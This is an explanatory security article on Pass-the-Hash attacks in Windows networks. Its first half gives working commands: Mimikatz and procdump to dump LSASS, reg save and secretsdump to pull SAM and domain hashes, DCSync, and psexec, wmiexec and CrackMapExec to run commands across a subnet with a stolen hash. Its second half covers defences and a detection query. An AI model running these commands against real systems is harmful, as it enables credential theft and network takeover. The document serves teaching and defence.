Pass-the-Hash (PtH) - Lateral Movement mit gestohlenen NTLM-Hashes
Pass-the-hash is an attack technique in which NTLM password hashes are used directly for authentication without knowing the plaintext password. It enables lateral movement in Windows networks. Tools: Mimikatz (sekurlsa::pth), Impacket (psexec.py, wmiexec.py), CrackMapExec. Protection: Windows Defender Credential Guard, Protected Users Group, SMB signing, LAPS, tier model.
Pass-the-Hash (PtH) is an attack technique in which an attacker uses a stolen NTLM password hash directly to authenticate with a Windows system—without knowing the underlying plaintext password. Since NTLM authentication accepts the hash itself as "proof" of identity, PtH enables extensive lateral movement within Windows networks.
How NTLM Authentication Works
Normal Login
- Client → Server: Authentication Request
- Server → Client: Challenge (8-byte random value)
- Client: NTLM hash = MD4(password); Response = HMAC-MD5(NTLM hash, challenge)
- Client → Server: Response
- Server verifies response → Login OK
Pass-the-Hash
The attacker has the NTLM hash (from memory, SAM, or NTDS.dit) and does not need a plaintext password. They send the challenge-response with the stolen hash, and the server accepts it.
Why NTLM is Vulnerable
- The hash is “equivalent” to the password
- The challenge is signed with the hash → Hash = proof of identity
- Kerberos is more secure (ticket system, no hash replay)
- However, NTLM is still used in many environments
Hash Sources
- LSASS memory: active sessions (Mimikatz)
- SAM database: local accounts (
reg save HKLM\SAM) - NTDS.dit: domain controller database (DCSync)
- Network traffic: NTLM relay (Responder, ntlmrelayx)
Hash extraction with Mimikatz
# Step 1 - Extract NTLM hashes from LSASS
# Requires SeDebugPrivilege / SYSTEM
# LSASS dump (all active sessions):
privilege::debug
sekurlsa::logonpasswords
# Output:
# Authentication Id : 0 ; 123456 (00000000:0001e240)
# User Name : Administrator
# Domain : CORP
# NTLM : aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# └── LM Hash (empty) ──────────────┘└── NTLM Hash ──────────────┘
# NTLM hashes only:
sekurlsa::msv
# Kerberos tickets:
sekurlsa::tickets
# LSASS memory dump (without direct Mimikatz access):
# Task Manager → Details → lsass.exe → Create Dump File
# Or:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Analyze dump locally:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
# SAM database offline:
reg save HKLM\SAM C:\sam.hive
reg save HKLM\SYSTEM C:\system.hive
# Offline extraction with Impacket:
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# Admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0...
# DCSync (imitate domain controller):
# All domain hashes without NTDS.dit access
# Required: Replication rights (Domain Admin)
mimikatz# lsadump::dcsync /user:Administrator
# Or Impacket:
secretsdump.py CORP/DomainAdmin:Password@dc01.corp.local
Lateral Movement with PtH
# Mimikatz (PTH module):
# New CMD with administrator context via hash:
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
# → Opens a new process instance with the stolen token
# Impacket Suite (Python, cross-platform):
# PsExec via SMB:
psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
Administrator@10.0.0.1
# WMI (SMB not required):
wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
Administrator@10.0.0.1 cmd.exe
# SMBexec (no SMBv1):
smbexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
Administrator@10.0.0.1
# CrackMapExec (network scanning with PtH):
# Test hash against entire subnet:
crackmapexec smb 10.0.0.0/24 \
-u Administrator \
-H 31d6cfe0d16ae931b73c59d7e0c089c0 \
--local-auth
# Output: 10.0.0.5 SMB [+] CORP\Administrator (Pwn3d!)
# Execute command on all reachable hosts:
crackmapexec smb 10.0.0.0/24 \
-u Administrator \
-H 31d6cfe0d16ae931b73c59d7e0c089c0 \
-x "whoami"
# NTLM relay (no hash required, but related):
responder -I eth0 -rdwf
ntlmrelayx.py -tf targets.txt -smb2support
# Intercepted NTLM authentication → relay to other hosts
Protective Measures
1. Windows Defender Credential Guard (most important measure)
Protects NTLM hashes in a Virtualized Security Environment (VSM). After activation, mimikatz sekurlsa::logonpasswords no longer returns a hash.
Prerequisites: UEFI + Secure Boot + VT-x/AMD-V + Hyper-V
Enable via GPO:
Computer Configuration → Administrative Templates → System → Device Guard
→ Turn on Virtualization-Based Security: Enabled
→ Credential Guard: Enabled with UEFI lock
2. Protected Users Security Group
Members must not authenticate via NTLM—only Kerberos. This makes PtH impossible for these accounts.
Add-ADGroupMember -Identity "Protected Users" -Members "Admin1","Admin2"
> Caution: Kerberos delegation is also disabled—check for compatibility.
3. LAPS (Local Administrator Password Solution)
Each workstation is assigned its own random local administrator password. A stolen local admin hash therefore only works on a single host. "Same Password = Lateral Movement" is no longer possible.
4. Enforce SMB Signing
Prevents NTLM relay (not directly PtH, but closely related).
# GPO: Computer Config → Windows Settings → Security Settings
# → Local Policies → Security Options
# Microsoft network server: Digitally sign communications (always)
Set-SmbServerConfiguration -RequireSecuritySignature $True
5. Restricted Admin Mode
Remote Desktop with hashing (PtH → RDP) has been disabled by default since Windows 8.1. When enabled, no credentials are transmitted—no PtH via RDP. However, Restricted Admin Mode itself is a security risk (PtH possible within the session).
6. Tier Model / Privileged Access Workstations
- Tier 0 (DC, PKI): no regular use
- Tier 1 (Servers): dedicated admins, no Tier 2 access
- Tier 2 (Workstations): dedicated local admins
- Hash theft on Tier 2 does not allow Tier 1/0 access
7. Monitoring and Detection
Relevant Windows Event IDs:
- 4624 (Logon Type 3: Network) - unusual NTLM logins
- 4776 - NTLM authentication from which host?
- 4648 - Explicit Credentials (PtH indicator if anomalous)
KQL Query (Microsoft Sentinel):
SecurityEvent
| where EventID == 4624 and LogonType == 3
| where AuthenticationPackageName == "NTLM"
| summarize count() by Account, WorkstationName
| where count_ > 10 // anomalous NTLM authentication frequency